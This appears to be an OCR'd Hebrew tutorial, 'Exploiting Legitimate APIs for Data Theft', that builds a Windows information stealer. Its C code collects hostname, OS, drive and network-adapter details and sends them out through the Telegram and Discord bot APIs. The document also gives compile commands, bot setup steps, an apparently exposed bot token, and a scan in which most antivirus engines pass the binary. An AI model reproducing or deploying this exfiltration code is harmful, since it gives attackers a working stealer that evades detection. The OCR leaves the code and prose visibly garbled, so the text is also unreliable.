Exploiting Legitimate APIs for Data Theft
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<windows.h>
<stdio.h>
<iphlpapi.h>

comment(lib, "iphlpapi.lib")

int main() {
char systemInfo[4096];

CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = (hostName) / (hostName[©@]);
GetComputerNameA(hostName, &size);

OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = (OSVERSIONINFO);
GetVersionEx(&osVersion);

SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);

DWORD drives = GetLogicalDrives();

IP_ADAPTER_INFO adapterInfo[16];
DWORD adapterInfoSize = (adapterInfo);
(GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. Error: %d has occurred.\n", GetLastError());
1;
b

snprintf(systemInfo, (systemInfo),
"Host Name: %s\n"
"0S Version: %d.%d.%d\n"
"Processor Architecture: %d\n"
"Number of Processors: %d\n"
"Logical Drives: %X\n",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);

(PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
snprintf(systemInfo + strlen(systemInfo), (systemInfo) - strlen(systemInfo),
"Adapter Name: %s\n"
"IP Address: %s\n"
"Subnet Mask: %s\n"
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n",
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);

printf("%s", systemInfo);

9;
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Y1, Windows Naidn7 WXy exe-n Yalp NX 7'My

FLARE Sat ©9/07/2024 16:37:51.31
C:\Users\elady\Downloads>.\system_info.exe

Host Name: DESKTOP-3CO5VK9

0S Version: 6.2.9200

Processor Architecture: 9

Number of Processors: 1

Logical Drives: 200000C

Adapter Name: {B3E3EB39-C435-46AF-BA46-27C3AC1E9CA9}
IP Address: 192.168.7.22

Subnet Mask: 255.255.255.0

MAC Address: ©0-0C-29-71-FC-B9

Adapter Name: {AS3D76EC-AB72-4F9A-A177-ECECOE7BDF1F}
IP Address: 169.254.10.128

Subnet Mask: 255.255.0.0

MAC Address: ©2-00-4C-4F-4F-50

U2 11X INI

D70 7Y VAN 72D - XN NAINDT7 )7 . X 2ND7 W
:012N NIX IX'Y T NIXAN NITIPON/newbot

{name_of_the_bot}

{username_for_the_ bot}

:N22 Y2 NN

BotFather & a Bot Info

token - generate authorization token

BotFather &

ck settings

ck - change inline feedbac
s - can your bot be added to groups?
toggle privacy mode in groups
BotFather is the one bot to rule
M{?h Apps @ them all. Use it to create new
& ”i?e‘[aé/eo:;e‘v-v J bot accounts and manage your
existing bots.
get a list of your web apps
- edit a web app
app - delete an existing web app
(n}
- edit your game
- Create a new game
- get alist of your games : g Notifications

-edita game
ne - delete an existing game

G 2sharedlinks

Alright, a new bot. How are we going to call it? Please choose a name

Bot Privacy Policy
for your bot. DI

eladtest1bot

L TN 10 &S > 2
Good. Now let's choose a username for your bot. It must end in ~/
"bot". Like this, for example: TetrisBot or tetris_bot. B

> 0> O»

L

& eladtestibot

Done! Congratulations on your new bot. You will find it at
t.me/eladtest1bot. You can now add a description, about section
and profile picture for your bot, see /help for a list of commands. By
the way, when you've finished creating your cool bot, ping our Bot
Support if you want a better username for it. Just make sure the bot
" s fully operational before you do this.

anyone to control your bot.

For a description of the Bot API, see this page!
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INIX D'7'YONn 7' NXM INID

:pip NIYXNKXA python-telegram-bot N*1®0n NX n'pNN

kali@kali: ~/Desktop/Viruses

File Actions Edit View Help

( )-[~/Desktop/Viruses |

install python-telegram-bot

Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: python-telegram-bot in /home/kali/.local/lib/python3.10/site-packages (21.5)
Requirement already satisfied: httpx~=0.27 in /home/kali/.local/lib/python3.1@/site-packages (from python-telegram-bot)
Requirement already satisfied: anyio in /usr/lib/python3/dist-packages (from httpx~=0.27—python-telegram-bot) (3.6.1)
Requirement already satisfied: sniffio in /usr/lib/python3/dist-packages (from httpx~=0.27—python-telegram-bot) (1.2.0
Requirement already satisfied: httpcore=1.* in /home/kali/.local/lib/python3.10/site-packages (from httpx~=0.27—pytho
5)
Requirement already satisfied: certifi in /usr/lib/python3/dist-packages (from httpx~=0.27—python-telegram-bot) (2020.4
Requirement already satisfied: idna in /usr/lib/python3/dist-packages (from httpx~=0.27—python-telegram-bot) (3.3)
Requirement already satisfied: h11<0.15, 20.13 in /usr/lib/python3/dist-packages (from httpcore=1.x—>httpx~=0.27—-pyth
3.0)

YO WY [INTON YaI7N NN 2IMD7 W', 100 INKT7 .YyINT 1XYW QTIRON NINT 72N, [N 12D 0T 78N

:DYW 2IMD NN AR IR . (mybot.py 17 'NXAP 'IX) VIAN NI

logging
telegram ForceReply, Update
telegram.ext Application, CommandHandler, ContextTypes, MessageHandler, filters

logging.basicConfig(
format="%(asctime)s - %(name)s - %(levelname)s - %(message)s",
Level=1logging.INFO

)

logging.getLogger("httpx").setLevel(logging.WARNING)
logger = logging.getlLogger(__name__)

def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:

user = update.effective_user
update.message.reply_html(
rf"Hi {user.mention_html()}!",
reply_markup=ForceReply(selective=True),

def help_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:

update.message.reply text("Help!")

def echo(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
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logger.info(f"Chat ID: {update.message.chat_id}")
update.message.reply text(update.message.text)

def main() -> None:

application = Application.builder().token("YOUR_BOT_TOKEN_HERE").build()

application.add_handler(CommandHandler("start", start))
application.add_handler(CommandHandler ("help", help_command))

application.add_handler(MessageHandler(filters.TEXT filters.COMMAND, echo))

application.run_polling(allowed updates=Update.ALL_TYPES)

__name__ __main__":
main()

TN DR 01 1K, 0IWO TIRN echo v NT TN

:(Logging) n1wm nni' TN
N7 UN19] TYVIN' TN D (INFO) DIWN NN NIREDIAD NS DR D'WYAIR e
NIYPA 7V DMYNIY DI NIND DR D¥nx? ' WARNING-7 Nn1Tam httpx 1y DN NN e

HTTP

NITIEO9A 719'0 NI'Y7AIO NNTAN

NOI NYTIN NN7IYW D190 ,/start NTIRON DK N7IW wnnNwnn TWKD :start(update, context) e
.HTML nan oy wnnwn? Nn'w'x

NN7IY Y2190 ,/help NTIRON DX N71IW wnnwnn YWUKRD :help_command(update, context) e

."Help!" vojrun Dy NYTIN

NIYTINA 719'0 NU¥7AI9 NNTAN
NTNNI (NITIPO I'RY) D'YNNYNNN VOV NIYTIN N7APN N'¥jI9N :echo(update, context) e

S2pPNNY VORPLN INIX NX
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:main N'¥71190 NOTAN

012N |j710 DY Application 7w yoIm nxrr e

./help-1 /start nITI797 CommandHandler no'om o

JIMTIRO X7 VOV NIYTINA 79UNY MessageHandler no'0m o

.polling NIY¥xNXA NIYTINT |'TRN7 N'72'NNN1 VAN IR N7'YON e

:012aN0 N7Yon

INIQ .0I2N 7Y IN7IYD NN 7'NNNY AN ,N7u9IN main N'¥Z2I9N ,'UX) UOMZOND Y YAl DN e

:N71V92 12TN IR NX)

eladtest1

Q O : Bot Info >4
eladtest1
bot
G T ©
Q Notifications «O©

& 5 shared links

+,9, Add to Group

Bot Privacy Policy

Report

Stop and block bot

linux-n M2

~/Desktop/Viruses
mybot py
] l%,ﬁql - apscheduler.scheduler - INFO - Scheduler started
J'l,,. - telegram.ext.Application - INFO - Appll(drlon started
! f95 __main__ - INFO - Chat ID: ,

__main__ - INFO - Chat ID:
~_main__ - INFO - Chat ID:
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,(logger.info(f"Chat ID: {update.message.chat_id}") :n11wn) chat id-n NX N9 'Mo9Thw 17 In'w

MITT7 1907 713 AT DMANN NNIRITZN api-N 'R DX IR D' .2 INKR7 AT IR 0¥ 11NIR

Y XIN NYOYW Q017N Aawnnn 7Y system info-n DX 17 N7W'1 PINNN VA7 MANN'Y TIR QM) NI

D )Wwa ARt AT Ay

<stdio.h>
<stdlib.h>
<string.h>
<windows.h>
<winhttp.h>
<iphlpapi.h>

int sendToTgBot( char* message) {
char* chatld = "6136171211";
HINTERNET hSession = NULL;
HINTERNET hConnect NULL;

hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
(hSession == NULL) {
fprintf(stderr, "WinHttpOpen failed. Error: %d\n", GetLastError());
15

hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, 0);
(hConnect == NULL) {
fprintf(stderr, "WinHttpConnect failed. Error: %d\n", GetLastError());
WinHttpCloseHandle(hSession);
1;

HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST",
L"/bot{YOUR_HTTP_API_TOKEN_HERE}/sendMessage", NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);

(hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest failed. Error: %d\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
15

char requestBody[512];
sprintf(requestBody, "chat_id=%s&text=%s", chatld, message);

(!'WinHttpSendRequest(hRequest, L"Content-Type: application/x-www-form-
urlencoded\r\n", -1, requestBody, strlen(requestBody), strlen(requestBody), 9)) {
fprintf(stderr, "WinHttpSendRequest failed. Error: %d\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
1;
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}

WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);

printf("Message successfully sent to Telegram bot.\n");
0;

main(int argc, char* argv[]) {

char test[1024];

char* message = "adng is the best character"”;
snprintf(test, (test), "{\"text\":\"%s\"}", message);
sendToTgBot(test);

char systemInfo[4096];

CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = (hostName) / (hostName[©@]);
GetComputerNameA(hostName, &size);

OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = (OSVERSIONINFO);
GetVersionEx(&osVersion);

SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);

DWORD drives = GetLogicalDrives();

IP_ADAPTER_INFO adapterInfo[16];
DWORD adapterInfoSize = (adapterInfo);
(GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. Error: %d\n", GetLastError());
1;

snprintf(systemInfo, (systemInfo),
"Host Name: %s\n"
"0S Version: %d.%d.%d\n"
"Processor Architecture: %d\n"
"Number of Processors: %d\n"
"Logical Drives: %X\n",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);

(PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
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snprintf(systemInfo + strlen(systemInfo), (systemInfo) - strlen(systemInfo),
"Adapter Name: %s\n"
"IP Address: %s\n"
"Subnet Mask: %s\n"
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n\n"
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],

adapter->Address[3], adapter->Address[4], adapter->Address[5]);

char info[8196];
snprintf(info, (info), "{\"text\":\"%s\"}", systemInfo);
int result = sendToTgBot(info);

(result == 0) {
printf("System information sent successfully.\n");

{

printf("Failed to send system information.\n");

9;

JTI70 X101 ,|1Amodl

DA77V v API-7 NN

N0 1NT DA70 7w APl Niy¥nxa D70 YWY nyTIin NITYY N'RINKR sendToTgBot N'¥j711on

:Windows 7WWinHTTP

User -0 NIX N'Tan X' 12Y WinHttpOpen oy HTTP [wo NNNI9 X190 :HTTP |[wo nn'no
212NN 'O NN Agent

DY api.telegram.org N2IM>2 D270 7w API-n NWY NNaNNn XN D70 7w MY NN
.WinHttpConnect

NaMdY NN7w1 nWpan WinHttpOpenRequest oy POST NWiza NIXI' N'¥119N :NWHaN NdA
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NdIYN YT'N 910N

01270 7W VA7 INIX NI7YW921 AWNNNEN7Y9NN DDA 7Y YT IOXR7 N'RINK Main N'¥j71190

"adng is the best character" VOPVN DY D170 7w VIAY VOV NYTIN NNTYWI VOV Y TINNNYY o
MR NYYI9 sendToTgBot N'¥719NW 2177 ' 1D

N7NNNA 117 NNTNY NNAITA 10D - AWNNN 7V '01170 YT'NN DR DA'YA NDYN YT IO

.D1270 7w VA7 'NYTIND N7YI QOXIY YTNN : YTMA NN™MY

NRIYN NITIN

.D'RNNN Y0P 7Y TIP2 V1IN 7Y 710N IR 9'7NN7 W' [71I0 NO7NN

7WNN IR O'RNNY NOXNDY PNY AN W DXL DY '0'0TD 16 TV W'y N\an TIgn NNl e
.D"INX Dax¥N1 790% Ikadapterinfo

:0"79mm

x86 64-w64-mingw32-g++ -02 mybot.c -o mybot.exe -I/usr/share/mingw-w64/include/ -s -

ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-Llibgcc -fpermissive -Liphlpapi -Llwinhttp

:N71Y91 NT NX NXM IR . Windows 7w WinHttp n'90n 7'awa -lwinhttp n1901nw 17 In'w

\ Vo

{"text":"adng is the best character"}

{"text""Host Name: DESKTOP-3C0SVK9 | | B¥ C:\Windows\System32\cmd.exe
OS Version: 6.2.9200
Processor Architecture: 9
Number of Processors: 1
Logical Drives: 200000C SF
Adapter Name: {B3E3EB39-C435-46AF-BA46-27C3ACTEICAS})
IP Address: 192.168.7.22

| Subnet Mask: 255.255.25¢
MAC Address: 00-0C-29-71-FC-B9

| Adapter Name: {AS3D76EC-AB72-4F9A-A177-ECECSE7BDF1F}
| IP Address: 1¢ 10.12

- ™ Subnet Mask: 255.25

| MAC Address: 02-00-4C-4F-4F-50

B 3

==

P e e . o i L 5
]

=

.Wireshark 7y n¥j7 72T IXIQ 1100 "NA7 K7

NP'MYN NIX2 YN MIAYN NNA71 01917 TVIAY NIMDI M7I1919 NYY NN *7) KIn Wireshark
NIX [IN271 NWIN )T NN (packets) D'IMIN NI NIX 019SN7 D'YNNWAYT TWONN KIN NWYIXpNI
TN 7D 79001, TIvI TCP, UDP, HTTP, DNS 771> ,nwN 21710109 7¥ 2N 11202 AN KN . [A7Y DINN
NNTION N720 NAIXNA DIININ NX NIRT? N1 Wireshark oy .n1iayvnn 7w nimal 2107's ,n1nyoy

.D"7I|7IUI'19 12101,0'0N19 190N ,IP NIAIND 11D,0'019 '097 0INA NN 7D nMsnv
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,OIN NI'YA INKT7 ,NYND NIV [NART D'NNONI VTN NNVAX 'WIR NN 70107 C'WOKRNn N1 "D
DYPNN D'MIYNL DNIYYD QY [9IXN NIANI 0ININ NNAT NN YT 7Y NTYIN NNVAN DX PITYI
DNUVY'D IND ,NMIAVN NINYY? D070 7w 2NN [IAanl '2M0MRIVIYR '91A pwnn v'xn Wireshark .00
(captures) NIV77N qQNYY71 NMW? 01 N1 Wireshark N1ty .nijp'uoo'uvvol 0's1a NINIT ,0'TENN
NYI NID' 202 NTIAYA TN DRAIYN N7X 017D .0NKR NTIAY 'NIX DY 9IN'W7 IX INIRND NN X7

.NNIVAI N'Y7NA'VDIN NIX¥2 N7VIS NYINW N'VaNY MIX WUIAYKD IX NIAdAIN

YN NIIAYNN 1101 NIYXARY VTN DX DNX NIN7Y M7 NIk 070" nNaX 217 1y nr oan'vl

:NVTINN DX NN7YY |nTa IN7waw TCP NIVPZON NX NKN]

0. Time Source Destination Protocol  Length Info

25 5.204375 2001:67c:4e8:T004::9 2a05:bb88:3c:ac2f:7.. TLSv1.2 1474 Certificate [TCP segment of a reassembled PDU]
26 5.294377 2001:67c:4e8:T004::9 2a05:bb88:3c:ac2fi7. TLSv1.2 184 server Key Exchange, Server Hello Done

LAY ELLS ags.hbaa s ocof g ool err das fona. o TCD AnA0Rll ooads Tack] cepolad fckoscoog Linooe3les donon
28 5.3082364 2a@5:bb8@:3c:ac2f:7.. 306167 F@B4::0: TLSv1.2 167 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message I
I e R S R L R sle [y oA g B L= ) e g o) oo L ) e B e
38 5.438385 2a@5:bb8@:3c:ac2f:7.. 2801:67c:4e8:T064::9 TLSv1.2 323 Application Data
31 5.438520 2a85:bb8@:3c:ac2f: 7. 2001:67c:4e8:T004::9 TLSv1.2 164 Application Data
32 5.554@51 2001:67c:4e8:T@@4: :9 2a85:bb88:3c:ac2f:7.. TCP 74 443 + 49811 [ACK] Seq=5301 Ack=616 Win=31744 Len=8
33 5.593784 2001:67c:4e8:T004::9 2a05:bb88:3c:ac2fi7. TLSv1.2 780 Application Data
34 5.603898 2a@5:bb8@:3c:ac2f:7.. 2001:67c:4e8:T004::9 TLSv1.2 324 Application Data
35 5.684158 2a@5:bb8@:3c:ac2f:7.. 2001:67c:4e8:T004::9 TLSv1.2 534 Application Data
36 5.787644 2001:67c:4e8:T004::9 2a05:bb80:3c:ac2f:7.. TCP 74 443 + 49811 [ACK] 5eq=65@7 Ack=1326 Win=33792 Len=0
37 5.747@29 192.168.7.28 239.255.255.256 uDpP 698 59837 + 3782 Len=656

" " “ 2 :

Iwhois 220 NIY¥XNXA DT ' 217271 destination-n 7w N2IMdN DX P'Myn7 071! NI ,N9!

LAY MY 1019, [MITR 7pa 1019 7710 [P NIANdI DIT DIvN Y vy T 790ny 75 Xin Whois
,01"NIT 79 DIYAIN 1019 DX 21127 [N Whois NI¥nXA .DNS M 7y yTmi ,qIni DIYM DMINN
10102 T 7V 910N YT .DIIY DMAIT '2 DMWY NZNYI,NN0AN NPT Y¥A7 ,NWI Nitva NNy

.IP NIAIM2I 02" 1T DIYN NIFIYY 79 0'IARYY DRIM)

:(linux-n M2 whois {IP} nTIj790) NaINdN 7V whois yMa
% Information related to '2001:67c:4e8::/48AS62041"'
route6: 2001:67c:4e8:: /48

descr: Telegram IPv6 Network
origin: AS62041

mnt-by: MNT-TELEGRAM
created: 2014-04-05T13:59:38Z
last-modified: 2014-04-05T13:59:38Z
source: RIPE

.Websec Malware Scanner Dy 17w yalpn DX 7N01 IXI2.O NKRT 'wy .00 7w A1 ,n'71vn

NIDIN NI7A7 VNVI'R NXR P07 TVAYW VTN NNLAXR 7D XIn Websec Malware Scanner
TD,0'D90INI D'¥AP ANKRN TIR 7W NI9'PN NIRMO Y¥an 700 NIMR'YI0I9 NIgpnni(Malware) nifaiTr

.0'Tiwn 00N1 (Code Injection) TIj7 NATN 1N NIDPNNI,NNVAX NIXID ,AITT TIP NINT?

N *721 WIN'Y .N1ANI [I7'MY7 NIX7AN 7710 ,1INITY NNVAX NI'Ya 7Y D'VN15N NINIT DA 790N Websec
¥ N1N2 namn 7271 0'YWTN 0K 119N [AIN DN7W ANRNY N'0ANT7 DNKX Y7017 yronWebsec

.D'YNNYN 7¢ NI'0I9 NIY'a971 NNVAX NIV'A9Y7 [12'0ON NX N'NONY NN ,ANKN 7v NNLaXN 2¥N
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N \®] rlJ} npeZ'"on 7¢ ARXINN ,0N'1D NNITA WNN NNKNA XN DX DX DY D7 YalZn NKX 7N01 IXI2

Scan Results

Scan ID: @806a0b@-f043-4564-a081-abdfebdbb422

mybot.exe [43 k8]

SCAN STATUS [IN PROGRESS]

] SCANNED 39/39 ¥4 DETECTED 3

NOTIFY ME WHEN COMPLETE.

yomemegsemnser m

Antivirus: Adaware Status: ) Clean
Antivirus: Alyac Status: (¢ Clean
Antivirus: Amiti Status: J Clean
Antivirus: Arcabit Status: O Clean
Antivirus: Avast Status: (J Clean
Antivirus: Avg Status: (I Clean
Antivirus: Avira Status: () Clean
Antivirus: Bullguard Status: (J Clean

NI "YN LT 7Y YAIRN IR IRYN D'0IN'VANR 39 NN 3 70

.'I'1I|70"I"7 J'wnl.ommn APIl's nnd NIXIN? X'N Nunn - Nl aae 090N I'YDYN ,1N"0 TX
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?Discord Bot Dy yT' DA 'X TX

(servers) D'MIYY 90X¥NY7I VIX'Y7 D'UNNWNYT NYORAY NIZA MIYPN NNIIDVT79 KN TR0 T
2772 N7I919 TIROMT RT' 'WORI V717 ,07IRIVOPV D'UXR'Y] YNNWNYTI,011Y D'RYINYT D'UTRINY
NNTION NMIX2 DYON QNYWT7I NNIYY? DIN DIYSNNY NIFMN2AN NI7'0PE, MY NIXIAP 0Nt Di7ng

Jnaixnli

NIX 7¥"71 NID01 NI'YAI9 17 §'0INT7 * T2 TIRO'T NNWY 9'0IN? |N1IY 'UNIVIK DIY" XN VI TR0 T
,D'ONR'Y 7101 ,0'T'RPON 7w 'ONIVIX 7101 11D ,NI71V9 7w AN (1an yxab 0'713' 0'oin animnann
DN .N'Y'R NINRNINM NITIPO 0T D'YANYA OY N¥PZRIVIK 17'9K1,D0'7NYNn 7101 ,NIXINN DNYY
NIDN PYNn T 77 T2 0ROIoN1 ,D'MIYN 7101 7V NN wnnwnn DTN DY D'vron

DY 72 7w 0119'¥D0N 0'X7 D'VIAN DX N'WIR D'RNNYIIN'? D'NN9NYT7 DWORNY(APIS)
VI NIX INI

:wTN Application 11xX'71 DXAN NAINDY 01017 W', VIR NIX'Y? 7'avwa

APPICON NAME

@ eladapp

DESCRIPTION (MAXIMUM 400 CHARACTERS)

TAGS (MAXIMUM 5)

Addupto5

APPLICATION ID

128166 1659T27003759

Copy
PUBLIC KEY
e3db4ab51d10c4TcT6cB8di4e08134cBdaffLdfOfa8418f428df34562T08ed2483

Copy

Applications Applications

Teams Develop

Embed
SortBy:  Date Created v 28 Small 39 Large
Documentation

My Applications
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Bot Permissions

Need some help with bit math? Use the tool below to calculate the permissions integer for your bot based on the features it needs.

GENERAL PERMISSIONS TEXT PERMISSIONS VOICE PERMISSIONS
Administrator

Y' 't T¥N 7RNUN 09N "Bot" NNWORN 7Y YINT? DWIL,DNIN'Y DYPY79RN 7V YINY7 W nyd
nwA 17 NNYIL,(WNNA 17aN) INR WPNYT? Nan 72y RESET TOKEN 7y yIn%7 ,010%7 wnnwn oW Y Man?
:Administrator 7w

USERNAME

eladbot

TOKEN

For security purposes, tokens can only be viewed once, when created. If you forgot or lost access to your token, please regenerate a new one.

MTI4AMTY2MTY10TcyNzAwMzc10Q.G5KSUA.GDWyxM73ccCP-BwecMmmlt7V_b8-_BuMrWt92sg

Copy Reset Token

:INTN NAIMDA 0T DX D'YIY ,117W VIA7 NIRYIN NNYT 170X1 ,NYd

https://discord.com/api/oauth2/authorize?client id={ApplicationID}&permissions=0&scope=bot

NP7ONN NN DNNX'WD DN7A'PW Application id-n Nt client_id-n TWND

Success!

eladapp has been authorized and added to adng's test

Go to adng's test

Exploiting Legitimate APIs for Data Theft
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adng's test

Mute Channel

Notification Settings

Edit Channel
Duplicate Channel

Create Te hannel

y Channel ID

¥R TTIRY? At N7

<stdio.h>
<stdlib.h>
<string.h>
<windows.h>
<winhttp.h>
<iphlpapi.h>

DISCORD_BOT_TOKEN "REPLACE WITH THE BOT TOKEN"

DISCORD_CHANNEL_ID "REPLACE WITH THE CHANNEL ID"

int sendToDiscord( char* message) {
HINTERNET hSession NULL ;
HINTERNET hConnect NULL ;
HINTERNET hRequest NULL;

hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS TYPE_DEFAULT_PROXY,
WINHTTP_NO_ PROXY_ NAME, WINHTTP_NO_PROXY_BYPASS, 0);
(hSession == NULL) {
fprintf(stderr, "WinHttpOpen failed. Error: %d\n", GetLastError());
1;

Exploiting Legitimate APIs for Data Theft
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hConnect = WinHttpConnect(hSession, L"discord.com", INTERNET_DEFAULT_HTTPS_PORT,
9);
(hConnect == NULL) {
fprintf(stderr, "WinHttpConnect failed. Error: %d\n", GetLastError());
WinHttpCloseHandle(hSession);
1;

hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/api/v1@/channels/"

DISCORD_CHANNEL_ID "/messages", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);

(hRequest == NULL) {

fprintf(stderr, "WinHttpOpenRequest failed. Error: %d\n", GetLastError());

WinHttpCloseHandle(hConnect);

WinHttpCloseHandle(hSession);

15

(!WinHttpAddRequestHeaders(hRequest, L"Authorization: Bot " DISCORD_BOT_TOKEN
"\r\nContent-Type: application/json\r\n", -1, WINHTTP_ADDREQ FLAG_ADD)) {

fprintf(stderr, "WinHttpAddRequestHeaders failed. Error: %d\n",
GetLastError());

WinHttpCloseHandle(hRequest);

WinHttpCloseHandle(hConnect);

WinHttpCloseHandle(hSession);

15

char json_body[1024];
snprintf(json_body, (json_body), "{\"content\": \"%s\"}", message);

(!'WinHttpSendRequest(hRequest, NULL, -1, (LPVOID)json_body, strlen(json_body),
strlen(json_body), 0)) {
fprintf(stderr, "WinHttpSendRequest failed. Error: %d\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
15

BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);

(!'hResponse) {
fprintf(stderr, "WinHttpReceiveResponse failed. Error: %d\n", GetLastError());

DWORD code = 0;
DWORD codeS = (code);

(WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS CODE |
WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_ INDEX, &code, &codeS,
WINHTTP_NO_ HEADER_INDEX)) {

(code == 200) {
printf("Message sent successfully to Discord.\n");

printf("Failed to send message to Discord. HTTP status code: %d\n", code);

{

DWORD error = GetLastError();
LPSTR buffer = NULL;

Exploiting Legitimate APIs for Data Theft
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FormatMessageA(FORMAT MESSAGE_ALLOCATE_BUFFER | FORMAT MESSAGE_FROM SYSTEM |
FORMAT MESSAGE_IGNORE_INSERTS,
NULL, error, ©, (LPSTR)&buffer, 0, NULL);
printf("Unknown error: %s\n", buffer);
LocalFree(buffer);

WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);

9;

main(int argc, char* argv[]) {

char* test_message = "a4ng is the best character";
sendToDiscord(test_message);

char systemInfo[4096];

CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = (hostName) / (hostName[©@]);
GetComputerNameA(hostName, &size);

OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = (OSVERSIONINFO);
GetVersionEx(&osVersion);

SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);

DWORD drives = GetLogicalDrives();

IP_ADAPTER_INFO adapterInfo[16];
DWORD adapterInfoSize = (adapterInfo);
(GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. Error: %d\n", GetLastError());
15

snprintf(systemInfo, (systemInfo),
"Host Name: %s, "
"0S Version: %d.%d.%d, "
"Processor Architecture: %d,
"Number of Processors: %d, "
"Logical Drives: %X, ",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);

Exploiting Legitimate APIs for Data Theft
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(PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter-

>Next) {
snprintf(systemInfo + strlen(systemInfo), (systemInfo) -
strlen(systemInfo),
"Adapter Name: %s,
"IP Address: %s, "
"Subnet Mask: %s, "
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X",
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);

sendToDiscord(systemInfo);
CH

:main-1 sendToDiscord NIM{'y NI'¥PAID 'MWY NIZIVON NIX 7700 TIZN .1'201Y [AIndI

NNNIRN DR NTan WinHTTP niyynxa Discord Nw? 11N NNNIo :sendToDiscord N'yj7119 o
NYNN NIANN DX NPT X'N.Discord--2 YNy nyTin nN71wi JSON un1192 NWRaN 7Y qianl
NIXD DTN ARAY NIYTIN N0'DTNI
N0NA ,AWNN DV [IAd) AWNNN 7V YT' NO9OIX ,Discord-7 nz'Ta Ny TIN NN7IW :main NUY79 e
,PN INK7 .YTMn 7D Dy NTANN DXL (MWD RN 72y vyl ,N>wn '01o ,n7uon Ndvn

.sendToDiscord N'¥j7219 NIy¥NK21 Discord-7 awnnn 7y yTnin DX NN7IY
.012707 N2ANDYW VAN 7Y N71IY9N T RIXNT7 AWOR NZAITN INY 7Y 0N'DN DX

790N

x86_64-w64-mingw32-g++ -02 discord_stealer.c -o discord_stealer.exe -I/usr/share/mingw-
w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions
-fmerge-all-constants -static-libstdc++ -static-Llibgcc -fpermissive -Liphlpapi -
Lwinhttp

Y"1 Windows-n MIdNY exe Yaljzn DX 7'Nya N9 DAl

eladbot

eladbot /APP
adng is the best character

Host Name: DESKTOP-3CO5VK9, OS Version: 6.2.9200, Y successfully

Processor Architecture: 9, Number of Processors: 1, Logical r successfully
Drives: 200000C, Adapter Name: {B3E3EB39-C435- 46AF

255.255.255.0, MAC Address: 00-0C-29-T1-FC-B9Adapter
Name: {AS3D76EC-ABT2-4F9A-A1T7- ECEC9ETBDF1F}, IP
Address: 169.254.10.128, Subnet Mask: 255.255.0.0, MAC
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:Wireshark-2 7172
(= -4 fo] N M R & = = 1 & | = = “h “h <X I
ll|tcp.por == 443

Mo, Time Source Destination Protocol  Length
38 8.465359 162.159.138.232 - = TLSv1. 2 312
